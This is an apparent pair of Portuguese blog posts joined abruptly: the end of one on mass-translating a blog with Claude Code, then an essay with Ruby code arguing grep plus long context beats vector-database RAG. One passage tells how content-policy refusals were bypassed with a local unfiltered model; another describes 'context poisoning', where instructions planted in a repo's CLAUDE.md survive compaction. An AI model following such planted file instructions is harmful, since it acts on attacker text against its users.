O resultado tá no repositório git, em commits que qualquer um pode inspecionar no repositório público do blog. Olhando rapidamente o log, dá pra ver a cadência: lote de posts de 2008 QCon. Lote de 2009 RailsConf. Lote de 2011 Objective-C. 2012 completo. 2015 série Elixir. 2016, 2017, 2018 completos. Lote depois de lote, organizados por ano e por série. Mais de 80 commits marcados como i18n: ou EN translation: entre o começo da noite do dia 6 e a manhã do dia 8. No final desse post, abri 354 arquivos index.en.md contra os 727 index.md originais. Quase metade do blog inteiro traduzido de um só golpe.

E olha, noventa por cento foi tranquilo. A tradução ficou boa, natural, fiel à minha voz no original — eu não imaginava que ia funcionar tão bem. Claude Code respeita o tom do texto se você der instruções boas de voz e estilo, e mostra respeito por ideias técnicas sem “corrigir” nada do que você escreveu. No pior caso, revisa alguns parágrafos. No melhor caso, a versão em inglês soa como se você tivesse escrito direto na outra língua.

Um parênteses sobre o custo do lado Claude. Eu sou assinante do plano Max 20x da Anthropic, que é o tier de uso pesado feito pra quem abusa do Claude Code o dia inteiro. Nunca tinha batido no teto dele antes, nem nas minhas sessões mais intensas de vibe coding. Esse fim de semana de tradução foi a primeira vez que eu realmente estourei o limite do Max 20x e continuei usando já no modo de “uso extra” (a Anthropic cobra por consumo acima do teto do plano mensal).

Pra ter uma ideia do estrago, esse é o painel da minha conta agora de manhã:

91% da quota semanal “all models” consumida, já pra dentro do modo de uso extra, R$280,88 (uns $50 USD) gastos em cima da mensalidade fixa, e ainda falta um bom pedaço do ciclo. Faz sentido: ler o post inteiro, gerar a tradução, aplicar o humanizer em cima, repetir centenas de vezes seguidas. A quantidade de tokens envolvida é massiva. E hoje, enquanto eu escrevo esse texto, o Claude Code tá me dando com frequência crescente o erro API Error: Request rejected (429) · Rate limited, o que também faz sentido: deve ser um combo de quota do meu plano e do Anthropic aplicando backpressure geral, porque eu não devo ser o único fazendo loucura esses dias. Ok, normal. É o preço de ter usado a ferramenta pesado quando fazia diferença.

Os outros dez por cento foram uma história separada.

Quando os LLMs comerciais dizem “não”

Meia dúzia de posts antigos se recusaram a ser traduzidos. Tanto Claude quanto GPT, pela API, caíam num erro 400 com mensagem de política de conteúdo. Tentei várias vezes, em sessões frescas, com contexto limpo. Nada.

A hipótese é simples: esses posts tocavam em tópicos sensíveis pra content moderation automatizado. Um post de 2009 sobre o discurso do Steve Jobs em Stanford de 2005 (que menciona câncer, já que o Jobs estava falando do diagnóstico terminal que ele tinha recebido). Dois capítulos antigos da Ayn Rand, traduzidos por mim anos atrás, sobre direitos do homem e argumentação. Um post anti-nazista que ironicamente foi bloqueado provavelmente só porque a palavra “nazi” aparecia lá, mesmo com o contexto sendo crítico. Um post sobre o discurso do dinheiro do Atlas Shrugged. E um ensaio sobre democracia e ética que travava sistematicamente todas as tentativas.

A ironia dessa parte é que o único jeito de conseguir traduzir esses posts foi usando um modelo open source. Carreguei o Qwen 3.5 35B no llama-swap, rodando localmente, sem filtros de política corporativa. O modelo leu, entendeu o contexto, e traduziu tudo sem drama. É o mesmo modelo que eu tinha testado extensivamente no meu último benchmark de LLMs, e que eu avalio como um dos melhores open source disponíveis hoje.

Ou seja: um modelo chinês conseguiu traduzir posts que modelos ocidentais recusaram. Eu não consigo deixar de achar isso levemente hilário. Ah, claro, e não posso falar mal da China (sarcasmo). LLMs comerciais vão sempre ter o problema de política corporativa e censura preventiva aplicada com régua meio grossa. É um trade-off real pra quem quer usar eles em produção: você ganha fluência e capacidade de raciocínio, perde controle quando o tópico resvala no que a empresa decidiu que é sensível.

O caso inverso: 2017-2018 traduzido pro português

Enquanto eu estava ajustando o Claude Code pra gerar o conteúdo em inglês, aproveitei pra resolver o problema simétrico. Os posts que eu tinha escrito originalmente em inglês durante 2017 e 2018, mais a série inteira de entrevistas “chatting-with” de 2008, estavam parados lá sem versão em português. Claude Code rodou o reverso: leu o inglês, gerou o português. Então se você não leu os originais em inglês (porque a maioria do meu público é brasileiro mesmo), agora você tem acesso também. Dá uma olhada na seção Off-Topic pra ver o que apareceu de novidade.

Junto disso, o Claude Code também atualizou o script generate_index.rb pra entender a estrutura bilíngue do blog e gerar dois índices separados, um em português e outro em inglês. O seletor PT/EN no rodapé de cada post aparece automaticamente quando existe o arquivo index.en.md irmão. Tudo bem integrado ao Hugo, seguindo o padrão nativo de multilíngue dele.

O ponto mais amplo

Aqui tá o recado que eu queria deixar nesse post de aniversário. Tradução em escala, centenas de artigos, conteúdo seu, na sua voz, respeitando o tom do original, era um problema caro e chato. Agora é um problema de fim de semana. Isso já tá no ar, você tá lendo o resultado. A barreira que existia pra alcançar audiência fora do Brasil virou algo barato o suficiente pra eu não ter mais desculpa.

Então, vamos lá, recapitulando o aniversário. 20 anos. 727 posts em português, construídos ao longo de cinco eras diferentes de tecnologia. 354 novos posts em inglês gerados num fim de semana. Metade do blog agora é bilíngue. E o resto vai indo. Os que faltam são principalmente posts antigos de ActiveAdmin, Rails 2 e dicas obsoletas que já faz sentido deletar ou não traduzir de propósito.

Se você tem amigo gringo que já cansou de ver você postando link em português e precisa de uma desculpa pra mandar alguma coisa minha, manda. Os posts principais sobre IA, os Chronicles, benchmarks, rants e boa parte do arquivo histórico já tão disponíveis em inglês no mesmo domínio, é só trocar o toggle no rodapé. Obrigado a todo mundo que acompanhou esse blog por esses vinte anos. Tem leitores aqui que me conhecem desde o Blogspot. Vocês sabem quem são.

Vamos pra mais um ano.

Daí virou indústria. Pinecone, Weaviate, Qdrant, Chroma, Milvus, pgvector, LangChain, LlamaIndex, Haystack. Tutorial em todo canto, “construa seu chatbot com seus PDFs”, consultorias inteiras vivendo disso. Virou meio que o “hello world” de LLM aplicado: documento → chunk → embed → vector DB → query.

Hoje, em abril de 2026, o Claude Opus 4.6 tem 1 milhão de tokens de contexto. O Sonnet 4.6, idem. O Gemini 3.1 Pro também. O GPT 5.4 fica numa janela menor mas ainda confortável, na casa das centenas de milhares. E pra alguns modelos já tem modos experimentais de 2M tokens. A pergunta que não me larga é: pra que cargas d’água eu preciso montar uma stack vector pra resolver problema que cabe na janela do modelo?

E mais: vector database tem problemas reais que ninguém gosta muito de falar. Falsos vizinhos. Chunking arbitrário que parte definição do uso. Embeddings que envelhecem mal. Sem dizer que quando o resultado vem errado, você não tem a menor ideia do porquê.

A tese que eu venho amadurecendo é simples: na maioria dos casos, um grep bem feito mais uma janela de contexto generosa do modelo bate uma stack RAG completa. É mais barato, é mais fácil de manter, e quando dá pau você consegue debugar. Bora destrinchar.

O que o vazamento do Claude Code mostrou

Antes de entrar na parte teórica, vale falar de algo que aconteceu há poucos dias e que reforça muito essa discussão. Em 31 de março de 2026, a Anthropic, sem querer, publicou no npm a versão 2.1.88 do pacote @anthropic-ai/claude-code com um source map de quase 60 MB anexado, e cerca de 512 mil linhas de TypeScript da ferramenta interna deles vazaram pro mundo. Eu já tinha escrito sobre o incidente na semana passada, com mais detalhe sobre o que apareceu no código.

O que interessa pra essa discussão é o sistema de memória do Claude Code. Em vez de jogar tudo num vector DB, a arquitetura tem três camadas. Um MEMORY.md que fica permanentemente carregado no contexto, mas não guarda dado nenhum: é só um índice de ponteiros, umas 150 caracteres por linha, mantido abaixo de 200 linhas e uns 25 KB. Os fatos de verdade ficam em “topic files” buscados sob demanda quando o agente precisa. E os transcripts brutos das sessões anteriores nunca são relidos inteiros, só pesquisados com grep atrás de identificador específico. Sem embedding. Sem Pinecone. Disciplina de escrita (topic file primeiro, índice depois) e busca lexical, só isso.

O loop principal do Claude Code também tem um sistema escalonado pra lidar com contexto enchendo. Como eu detalhei no post anterior, são cinco estratégias diferentes de compactação de contexto, com nomes tipo microcompact (limpa resultados de tool antigos por tempo), context collapse (resume trechos longos da conversa), e autocompact (que dispara quando o contexto chega perto do limite). O CLAUDE.md, que muita gente pensava que era só uma convenção, é primeira classe na arquitetura: o sistema relê o arquivo a cada iteração da query.

O que isso me diz: a melhor ferramenta de coding agent que existe hoje, feita pela empresa que vende o modelo mais caro do mercado, não usa vector DB. Usa arquivos no disco, índice em markdown, busca lexical, e estratégias inteligentes de compactação quando o contexto estoura. Eles poderiam ter botado embedding, eles têm dinheiro pra rodar o que quisessem, e escolheram não. O motivo, na minha leitura, é exatamente o que esse post defende: pra recuperar texto de arquivos que você controla, com contexto generoso disponível, vector DB é peso morto. Melhor investir em compactar bem o que você já tem na janela do que indexar tudo num banco externo.

Tem um detalhe curioso de segurança que veio junto: a galera percebeu que o pipeline de compactação tem uma vulnerabilidade chamada de “context poisoning”. Conteúdo que parece instrução, vindo de um arquivo que o modelo lê (tipo um CLAUDE.md de um repo clonado), pode acabar sendo preservado pelo modelo de compactação como se fosse “feedback do usuário”, e o modelo seguinte segue isso como instrução genuína. É um vetor de ataque novo. Mas isso é assunto pra outro post.

O sistema “Dream” e a consolidação de memória

Mas o que mais me chamou atenção pro debate de RAG, e que eu já destrinchei na semana passada, é o sistema chamado autoDream. É um subagente forkado, com bash read-only no projeto, que roda em background enquanto você não está usando a ferramenta. O job dele é literalmente sonhar: consolidar memória. O nome não é à toa, e a analogia óbvia (que eu não consegui evitar) é a do cérebro humano consolidando memória durante o sono, transformando experiência de curto prazo em conhecimento mais estável.

Pra um sonho rodar, três portas têm que abrir ao mesmo tempo: 24 horas desde o último sonho, no mínimo 5 sessões desde o último, e um lock de consolidação que impede sonhos concorrentes. Quando dispara, segue quatro fases. Orient (faz ls no diretório de memória, lê o índice). Gather (busca sinais novos em logs, memórias desatualizadas e transcripts). Consolidate (escreve ou atualiza os topic files, converte data relativa em absoluta, deleta fato que foi contraditado). E Prune, que é a faxina final que mantém o índice abaixo das 200 linhas.

A decisão de fazer o autoDream como subagente forkado é o detalhe que importa aqui. Ele não roda no mesmo loop do agente principal. Por quê? Porque consolidação de memória é processo barulhento. O modelo tem que reler transcript antigo, comparar com o que está no MEMORY.md, decidir o que fica e o que sai, fazer hipótese sobre coisa que viu em sessão anterior. Se isso rodasse no contexto principal, poluía o “train of thought” do agente que está tentando ajudar você na tarefa do momento. Forkando, separa as duas coisas. O agente principal continua focado no que você pediu, o autoDream faz a faxina em paralelo, sem permissão de escrita no projeto.

E o jeito como ele acha o que tem que consolidar é busca lexical, pura e dura. Os transcripts ficam em arquivos JSONL no disco, e o autoDream usa grep pra procurar sinais novos. Grep mesmo, em log de texto. Pensa nisso por um segundo. A consolidação de memória do agente mais avançado do mundo, feita por uma das empresas mais ricas de IA, é um subagente forkado fazendo grep em log de texto. Se vector DB fosse a resposta certa pra esse tipo de problema, a Anthropic tinha botado vector DB. Não botaram.

E tem um detalhe que pra mim é o ouro escondido do leak inteiro, e que cabe perfeitamente nesse argumento. No autoDream, memória é tratada como pista. O sistema parte do princípio de que o que está armazenado pode estar velho, errado, contraditado por algo que aconteceu depois, e o modelo tem que verificar antes de confiar. O pitch do vector DB é o oposto disso: indexa tudo, busca por similaridade, devolve top-k, confia no resultado. O Claude Code escolheu o caminho conservador. Indexa pouco, busca por palavra, devolve pista, e desconfia até bater o olho no fato real.

A estratégia inteira tem duas camadas. Dentro da sessão, contexto generoso mais grep mais compactação inteligente (microcompact, context collapse, autocompact). Entre sessões, um subagente que consolida memória de forma assíncrona, usando grep nos transcripts e tratando o resultado como dica, não como verdade. Embedding e vector DB não aparecem em nenhum dos dois lugares. A escolha consciente foi leitor inteligente comendo texto bruto, não leitor burro consumindo top-k de embedding.

A lição prática pro nosso debate é simples. Os agentes mais avançados do mercado tão indo na direção de contexto generoso, busca lexical e compactação inteligente, não na direção de pipeline RAG clássico. Se a Anthropic, com toda a infraestrutura e talento que tem, escolheu esse caminho pra Claude Code, a gente que tá construindo aplicação interna com uma fração do orçamento deveria pelo menos considerar a mesma direção.

Onde a história começou a virar

Quando o teto era 32k de contexto, retrieval era o gargalo do problema inteiro. Você tinha que pré-filtrar agressivo, porque qualquer coisa que entrasse na janela era espaço sagrado. Vector DB foi a única forma decente de fazer essa pré-filtragem semântica. A lógica era: “o leitor (LLM) é caro e burro, então o retriever tem que ser inteligente e seletivo”.

Hoje a equação virou. O leitor agora é o cara mais inteligente da mesa, e a janela cresceu pra caber documento inteiro. Aí o retriever pode (e talvez deva) voltar pra ser burro. Quanto mais burro, melhor. Você quer alta cobertura e baixa precisão, e deixa o modelo fazer a parte fina. Grep faz exatamente isso. BM25 também. E ripgrep voa em cima de milhões de linhas sem pestanejar.

E não é só achismo meu. Os benchmarks BEIR já mostraram faz tempo que BM25 bate ou empata com vários retrievers densos quando o domínio sai de onde os embeddings foram treinados. A própria Anthropic publicou um post sobre Contextual Retrieval basicamente dizendo a mesma coisa: sinal lexical mais julgamento de LLM bate embedding puro na maior parte das tarefas de conhecimento. E olha o Claude Code, a ferramenta que eu uso todo dia há 500 horas: ele navega o repositório com Glob e Grep. Sem vector DB, sem embedding, sem LangChain. Funciona ridiculamente bem.

Os problemas reais do vector database que ninguém anuncia

A propaganda de vector DB vende o sonho da busca semântica perfeita. A realidade é mais bagunçada.

Falsos vizinhos é o primeiro. Cosine similarity premia similaridade tópica, não relevância. Você pergunta “como tratamos erro de autenticação” e o DB devolve todo chunk que menciona autenticação. O chunk que efetivamente responde pode estar em décimo lugar, ou nem ter aparecido porque o redator do doc usou “login” em vez de “auth”.

Chunking é o segundo, e é um desastre disfarçado. Janela de 512 tokens, overlap de 64, parece razoável até você perceber que sua tabela importante foi cortada no meio, a definição de uma função ficou separada do uso, e o pedaço da documentação com o comando exato ficou órfão sem o contexto da seção. A fronteira do chunk costuma ser exatamente onde a resposta morava.

Quando falha, falha sem deixar pista. Quando o BM25 não acha, você sabe o porquê: a palavra não tá lá. Quando o vector DB devolve lixo, você recebe um chunk plausível e errado, sem nenhum sinal diagnóstico. Boa sorte debugando isso em produção às duas da manhã.

Índice envelhece. Cada update do documento pede re-embedding. Se você tem 10 mil docs e uns 200 mudam por dia, isso vira processo de batch, monitoramento, fila, retry, custo de API de embedding, e uma janela de inconsistência inevitável entre o que tá no disco e o que tá no índice. Grep não tem nada disso. Arquivo mudou? Próxima query já vê.

E tem o custo de operação que ninguém soma. Pinecone cobra por vector. Weaviate pede cluster pra manter. pgvector evita servidor novo mas você continua com schema, índice e pipeline de re-embedding. Cada uma dessas coisas pede tempo de engenheiro, monitoramento, teste, deploy. Tudo isso pra fazer uma busca que muitas vezes o rg resolve em 200ms.

Comparando a complexidade

Olha o desenho:

De um lado, oito etapas, quatro ou cinco serviços, índice externo que precisa ser mantido e atualizado. Do outro, quatro etapas, zero infraestrutura nova. Não é caricatura: é literalmente o que você precisa montar pra cada caso.

A pergunta honesta é: a coluna da esquerda compensa? Em 2023, sim, porque a coluna da direita não existia (não tinha LLM com janela de 200k). Em 2026, na maior parte dos casos, não.

Prós e contras de cada lado

RAG clássico (vector DB)

A favor:

• Funciona pra bases de documento gigantes, da ordem de centenas de GB, onde nem rg resolve sem indexação prévia
• Acerta consultas paráfrase pesada e cross-lingual (“como cancelo” vs “encerramento de assinatura”), onde o vocabulário do usuário não bate com o do documento
• Funciona pra modalidades não-textuais (imagem, áudio) onde grep não tem o que olhar
• Economiza tokens de input se você tá apertado de orçamento ou de latência absoluta

Contra:

• Stack complexa: embedding, vector DB, chunking, reranker, pipeline de re-indexação
• Falhas opacas, difíceis de debugar
• Chunking destrói contexto de tabelas, código, definições longas
• Overhead operacional (índice, fila, monitoramento, custo de re-embedding)
• A busca semântica vendida no marketing raramente funciona como o marketing promete

Grep + contexto longo

A favor:

• Praticamente zero infraestrutura nova: ripgrep, sqlite, ou um simples LIKE em Postgres
• Sempre fresco: o arquivo mudou, a próxima query já vê
• Falhas transparentes: a palavra está ou não está
• Carrega o documento em pedaços generosos, o modelo faz a filtragem fina com semântica de verdade
• Mais barato em dev e ops, mais barato pra pivotar de domínio

Contra:

• Não escala pra terabytes de texto bruto sem alguma indexação
• Sofre quando o usuário usa vocabulário muito diferente do documento
• Não funciona pra modalidade não-textual
• Latência por query é maior em termos absolutos (carregar 100k tokens sempre custa mais que carregar 5k)
• Custo de input por query é mais alto se você não tem prompt caching

Mas e o custo?

Esse é o argumento que mais me jogam na cara quando defendo a tese do “carrega tudo no contexto”. “Vai ficar caríssimo, 200k tokens de input por query é absurdo.” Vamos fazer a conta de verdade.

No meu artigo do benchmark de LLMs de ontem eu mapeei o preço por token de cada modelo. Pega o Claude Sonnet 4.6: $3 por milhão de tokens de input, $15 por milhão de output. Pega o GLM 5 (que provei que funciona): $0.60 input, $2.20 output. Pega o GPT 5.4 Pro lá em cima: $15 input, $180 output (esse aí machuca, eu sei).

Antes de fazer a conta de “200k tokens” em dólar, vale aterrissar isso em algo tangível, porque “100k tokens” não diz nada pra ninguém. Token, na média, é mais ou menos 0,75 palavra em inglês (em português é parecido, talvez um pouco mais por causa de palavras maiores). Então, traduzindo:

• 100k tokens ≈ 75 mil palavras ≈ um romance curto inteiro, tipo O Velho e o Mar do Hemingway com sobra, ou uns três artigos longos da Wikipedia juntos.
• 200k tokens ≈ 150 mil palavras ≈ um romance grande, tipo Crime e Castigo na íntegra, ou metade do primeiro livro de Game of Thrones (que tem ~298k palavras, daria uns 400k tokens).
• 400k tokens ≈ 300 mil palavras ≈ A Game of Thrones completo, livro 1 da série inteiro na janela.
• 1M tokens ≈ 750 mil palavras ≈ a trilogia inteira de O Senhor dos Anéis mais O Hobbit, ou a Bíblia inteira (King James ~783k palavras, daria por volta de 1M tokens), ou cerca de dois livros e meio de Game of Thrones empilhados.

Então quando eu falo “joga 200k tokens de input no modelo”, o que isso significa no mundo real é “joga Crime e Castigo inteiro como contexto da pergunta”. É muita coisa. E é exatamente isso que torna o argumento desse post viável: os modelos de hoje conseguem ler um romance inteiro de uma vez e ainda responder uma pergunta específica sobre ele. Em 2023, isso era ficção científica. Em 2026, virou o caso base.

Imagina então uma query que joga 200k tokens de input (lá vai Crime e Castigo de novo) e produz 2k tokens de output (umas três páginas de resposta):

Agora bota prompt caching no meio. O Claude tem cache que faz o input cacheado custar uma fração do preço cheio (na ordem de 10%, dependendo do modelo). O Gemini tem mecanismo similar. Quando você faz uma sequência de queries em cima do mesmo dump de 200k tokens, o custo das queries seguintes despenca pra centavos. Com Sonnet cacheado, dá pra falar em uns $0.10 por query subsequente sem inventar muito.

Agora compara isso com o custo de manter um Pinecone, ou um Weaviate, ou um pgvector. Ignorando o preço da assinatura em si (que varia bastante), você precisa de engenheiro pra montar a pipeline, manter, monitorar, lidar com falha de embedding, refazer chunking quando o domínio muda. Conservadoramente, fala em algo entre 40 e 80 horas de engenharia pra deixar a coisa estável. A R$ 200/hora, isso é entre R$ 8.000 e R$ 16.000. Em USD, na faixa de $1.600 a $3.200 só pra colocar de pé.

Com $3.200, no Sonnet 4.6 com prompt caching, você roda algo na ordem de 30 mil queries de 200k tokens. Trinta mil queries, dependendo da escala do projeto, dão vários meses ou até um ano inteiro de uma ferramenta interna média. E você não pagou engenheiro pra montar pipeline. Não tem servidor de vector DB pra manter. Se o documento mudar, o sistema já vê na próxima query.

A conta do “RAG é mais barato em tokens” ignora que token é a coisa mais barata da equação inteira. Engenheiro custa caro, servidor custa caro, bug em produção custa muito caro. Token virou commodity, e tá ficando mais barato a cada release de modelo novo.

O argumento clássico do RAG era “modelo é caro, retrieval é barato”. Hoje é o oposto: modelo é a parte barata da pilha, retrieval inteligente é o que sai caro pra montar e manter.

Os pontos onde a tese não cola

Não quero parecer fanboy. Tem casos onde RAG clássico ainda ganha:

1. Bases gigantescas. Se você tem 500 GB de texto bruto, nem rg resolve em tempo aceitável. Aí precisa de algum tipo de indexação. Pode ser BM25 indexado (Tantivy, Elasticsearch), pode ser vector DB. Mas observa: a primeira opção ainda é lexical, não vetorial.
2. Vocabulário muito disperso. Suporte ao cliente, onde o usuário fala “tô sem net” e a documentação fala “perda de conectividade na camada física”. BM25 não pega isso. Embedding pega. Aí vector DB ganha o ponto.
3. Modalidade não-textual. Busca de imagem por imagem, áudio por áudio. Embedding é obrigatório.
4. Latência absoluta crítica. Se você precisa responder em 100ms e tem 5k de orçamento de input, dump generoso não cabe. Aí pré-filtragem é necessária.
5. Compliance e auditoria. Se você precisa provar que tal documento foi consultado pra responder tal query, ter chunks indexados rastreáveis ajuda. Dump de 200k de contexto é mais opaco em auditoria.

Pra esses casos, RAG clássico continua fazendo sentido. Mas observa o tamanho da lista. São casos específicos. O caso geral, tipo “chat com nossos documentos internos” ou “pergunte ao manual do produto”, quase todo cai no balde do “grep + contexto longo resolve melhor”.

Lazy retrieval: a receita que eu defendo

Se eu fosse construir uma ferramenta de “chat com docs” hoje, do zero, seria mais ou menos assim:

1. Mantém os documentos brutos. Markdown, PDF convertido, código, o que for. No disco mesmo, organizado em pastas que façam sentido pro domínio.
2. Filtro lexical rápido. ripgrep com regex, ou BM25 com Tantivy/SQLite FTS5, ou um LIKE no Postgres se já tiver. Devolve uns 100-300 hits.
3. Carrega generosamente. Pega não só o trecho que bateu, mas o arquivo inteiro, ou uma janela grande em volta. Joga tudo no contexto.
4. Deixa o LLM fazer a parte fina. Passa a pergunta original, manda o modelo encontrar o que importa, descartar o resto, e responder com citações.
5. (Opcional) Adiciona embeddings só pra classes de query onde lexical falha, depois de você ter dados reais mostrando que falha.

Isso é o oposto do conselho antigo (“comece com vetores, fallback pra keyword”). É: comece com keyword, e adicione vetor só se sentir falta. Na maioria dos projetos, você nunca vai sentir.

Uma implementação de brinquedo em Ruby

Pra deixar concreto. Eis um script Ruby usando o gem ruby_llm (o mesmo do benchmark de ontem) que faz exatamente esse fluxo: grep nos arquivos, carrega os trechos com contexto, manda pro Claude, recebe a resposta. Sem vector DB, sem chunking, sem embedding, sem LangChain.

#!/usr/bin/env ruby
require "ruby_llm"
require "open3"

DOCS_DIR = ARGV[0] || "./docs"
QUERY    = ARGV[1] or abort "uso: ./ask.rb <pasta> <pergunta>"

# 1. Filtro lexical rápido com ripgrep.
#    -i case insensitive, -l só nomes de arquivo, --type-add cobre md/txt/pdf-extraído.
def lexical_search(dir, query)
  terms = query.downcase.scan(/\w{4,}/).uniq.first(8)  # palavras com 4+ letras
  pattern = terms.join("|")
  cmd = ["rg", "-l", "-i", "-e", pattern, dir]
  files, _ = Open3.capture2(*cmd)
  files.split("\n").reject(&:empty?)
end

# 2. Carrega os arquivos inteiros (até um teto razoável).
def load_context(files, max_chars: 600_000)
  total = 0
  files.map do |path|
    body = File.read(path)
    next if total + body.size > max_chars
    total += body.size
    "## #{path}\n\n#{body}\n"
  end.compact.join("\n---\n")
end

# 3. Manda pro Claude com a pergunta e os documentos.
def ask(query, context)
  chat = RubyLLM.chat(model: "anthropic/claude-sonnet-4-6")
  prompt = <<~PROMPT
    Você tem acesso aos documentos abaixo. Responda a pergunta do usuário
    usando apenas o que está nos documentos. Cite o nome do arquivo nas
    referências. Se a resposta não estiver nos documentos, diga isso.

    --- DOCUMENTOS ---
    #{context}
    --- FIM DOS DOCUMENTOS ---

    Pergunta: #{query}
  PROMPT
  chat.ask(prompt).content
end

files = lexical_search(DOCS_DIR, QUERY)
abort "nenhum arquivo bateu" if files.empty?
puts "Encontrei #{files.size} arquivos. Carregando contexto..."
context = load_context(files)
puts ask(QUERY, context)

São umas 40 linhas. Sem dependência de Pinecone, sem schema de vector, sem pipeline de re-indexação. Você roda como ./ask.rb ./docs "como configurar o webhook do pagamento" e pronto.

Esse exemplo aí é one-shot. Você roda, ele responde, acabou. Pra chat de verdade, com várias perguntas em sequência em cima dos mesmos documentos, o desenho muda. Em vez de fazer o lexical_search lá no começo e empurrar tudo de uma vez pro contexto, você expõe a busca como tool pro modelo. Aí é o agente que decide quando precisa puxar mais doc, que termo vai procurar, qual arquivo vale a pena abrir inteiro. É assim que o Claude Code funciona, na real: Glob, Grep e Read são tools, e o modelo é quem escolhe a sequência. O ruby_llm suporta tool calling, então dá pra fazer a mesma coisa em Ruby. A cara fica mais ou menos assim:

require "ruby_llm"
require "open3"

DOCS_DIR = "./docs"

class SearchFiles < RubyLLM::Tool
  description "Procura arquivos cujo conteúdo casa com o padrão dado (regex). Retorna lista de paths."
  param :pattern, desc: "Padrão regex pra busca lexical (case-insensitive)"

  def execute(pattern:)
    out, _ = Open3.capture2("rg", "-l", "-i", "-e", pattern, DOCS_DIR)
    out.split("\n").reject(&:empty?)
  end
end

class ReadFile < RubyLLM::Tool
  description "Lê o conteúdo completo de um arquivo do projeto."
  param :path, desc: "Caminho relativo do arquivo"

  def execute(path:)
    File.read(path)
  rescue => e
    "erro: #{e.message}"
  end
end

chat = RubyLLM.chat(model: "anthropic/claude-sonnet-4-6")
            .with_tools(SearchFiles, ReadFile)
            .with_instructions(<<~SYS)
              Você responde perguntas sobre os documentos em #{DOCS_DIR}.
              Use search_files pra encontrar arquivos relevantes e read_file
              pra ler o conteúdo. Sempre cite o arquivo na resposta.
            SYS

loop do
  print "> "
  msg = gets&.chomp
  break if msg.nil? || msg.empty?
  puts chat.ask(msg).content
end

O modelo recebe a pergunta, decide se precisa procurar, chama search_files, vê o que voltou, decide se precisa abrir algum arquivo, chama read_file, e só depois responde. Em pergunta seguinte ele já tem o contexto anterior na sessão e pode pedir mais coisa se precisar. O contexto vai recebendo só o que o modelo pediu, não o despejo inteiro do grep que o exemplo anterior fazia.

A mesma ideia funciona pra banco de dados: troca o rg por uma query SQL com LIKE ou tsvector (full-text do Postgres), carrega as linhas relevantes, joga no contexto. Se você tiver 10k registros num banco interno, isso resolve. Se tiver 10 milhões, aí você começa a precisar de paginação inteligente ou de uma camada de pré-filtragem mais séria. Mas a estrutura mental é a mesma: filtro burro + leitor inteligente.

O ponto que importa

O mais interessante nisso tudo nem é a economia de Pinecone. É que a natureza do gargalo mudou. Em 2023, o gargalo era retrieval: o leitor era pequeno, lento, caro, e você precisava de um retriever esperto pra encher a janela com o mínimo possível. Em 2026, o gargalo é raciocínio sobre contexto bagunçado: o leitor é grande, relativamente rápido, e barato. Aí faz mais sentido um retriever burrão de alta cobertura e deixar o modelo fazer o trabalho pesado.

Quem ainda projeta sistema com a cabeça de 2023 tá pagando caro pra resolver um problema que mudou de forma. RAG não morreu, o “R” ficou mais burro e mais barato, e isso é uma melhoria. Quem vende vector DB não vai te contar, mas é o caminho que a galera mais experiente vem seguindo na surdina.

A próxima onda de aplicação LLM, na minha aposta, vai ser dominada por quem entendeu essa inversão. Stack menor, infraestrutura mais simples, contexto generoso, e muito menos LangChain.

O que a literatura recente diz

Antes de fechar, fui dar uma olhada no que a galera de pesquisa publicou sobre isso. Achismo de blog nessa área envelhece em três meses, então melhor olhar paper.

O Retrieval Augmented Generation or Long-Context LLMs?, do Google DeepMind, publicado na EMNLP 2024, é o mais citado no debate. A conclusão deles: quando o modelo tem recurso suficiente, long context bate RAG na média de qualidade, mas RAG continua sendo bem mais barato em tokens. Eles propõem o Self-Route, uma abordagem onde o próprio modelo decide se precisa do retrieval ou se manda direto pelo contexto. A economia de tokens é grande e a perda de qualidade é pequena.

Já o LaRA, apresentado na ICML 2025, é mais comedido. Os autores montaram 2326 casos de teste em quatro tipos de tarefa de QA e três tipos de contexto longo, rodaram em 11 LLMs diferentes, e a conclusão foi: não tem bala de prata. A escolha entre RAG e long context depende do modelo, do tamanho do contexto, do tipo de tarefa e da característica do retrieval. RAG ganha em diálogo e queries genéricas, long context ganha em QA estilo Wikipedia.

O Long Context vs. RAG for LLMs: An Evaluation and Revisits, de janeiro de 2025, é o que mais reforça a tese deste post. Long context costuma bater RAG nos benchmarks de QA, especialmente quando o documento base é estável. Retrieval baseado em sumarização chega perto, e retrieval baseado em chunk fica atrás. Ou seja: o jeito antigo, chunk mais embed mais top-k, é o que sai pior.

Tem que ter no radar também o original Lost in the Middle (Liu et al., 2023, publicado no TACL em 2024). Foi o paper que mostrou que mesmo modelos com janela grande têm performance dependente da posição da informação relevante. Coisa no começo ou no fim do contexto é encontrada fácil; coisa no meio degrada. Por muito tempo isso foi usado como argumento contra long context, mas o paper é de 2023, com modelos de 2023. Os modelos de hoje, tipo Claude 4.x e Gemini 3.x, lidam muito melhor com a parte do meio. Não é problema resolvido, mas é bem menor do que era.

Pelo lado de retrieval lexical, o BEIR continua sendo a referência canônica. O resultado clássico é que BM25, lá dos anos 90, segue competitivíssimo em cenário out-of-domain. Os modelos densos só ganham consistentemente quando você tem dados do próprio domínio pra fine-tunar os embeddings. Em cenário zero-shot, que é onde a maioria dos projetos vive, BM25 é difícil de bater sem trabalho pesado.

Pra fechar, o post da Anthropic sobre Contextual Retrieval, de setembro de 2024, é a peça mais prática da lista. Eles mostram que combinando embedding contextualizado com BM25 contextualizado, dá pra cair de 5.7% pra 2.9% de taxa de falha no top-20. Adicionando reranker, cai pra 1.9%. Detalhe importante: BM25 é peça central do resultado deles, não auxiliar. A leitura correta é “lexical mais vetor mais reranker é a combinação que funciona”. Quem só pode escolher um, escolhe BM25 e ainda chega longe.

Resumindo o que dá pra cravar: a literatura não diz que “RAG morreu”. Diz que long context, quando dá pra usar, costuma vencer em qualidade. Diz que o custo de RAG ainda é o argumento principal a favor dele. Diz que BM25 lexical é bem mais forte do que a propaganda de vector DB faz parecer. E diz que, quando você realmente precisa de retrieval pesado, a combinação robusta é hybrid (lexical mais vetor mais reranker), não vetor puro. Tudo isso bate com o que eu venho defendendo na prática.

Fontes

• Li, Z. et al. (2024). Retrieval Augmented Generation or Long-Context LLMs? A Comprehensive Study and Hybrid Approach. EMNLP 2024 Industry Track.
• Yuan, K. et al. (2025). LaRA: Benchmarking Retrieval-Augmented Generation and Long-Context LLMs – No Silver Bullet for LC or RAG Routing. ICML 2025.
• Yu, T. et al. (2025). Long Context vs. RAG for LLMs: An Evaluation and Revisits. arXiv:2501.01880.
• Liu, N. F. et al. (2023). Lost in the Middle: How Language Models Use Long Contexts. TACL 2024.
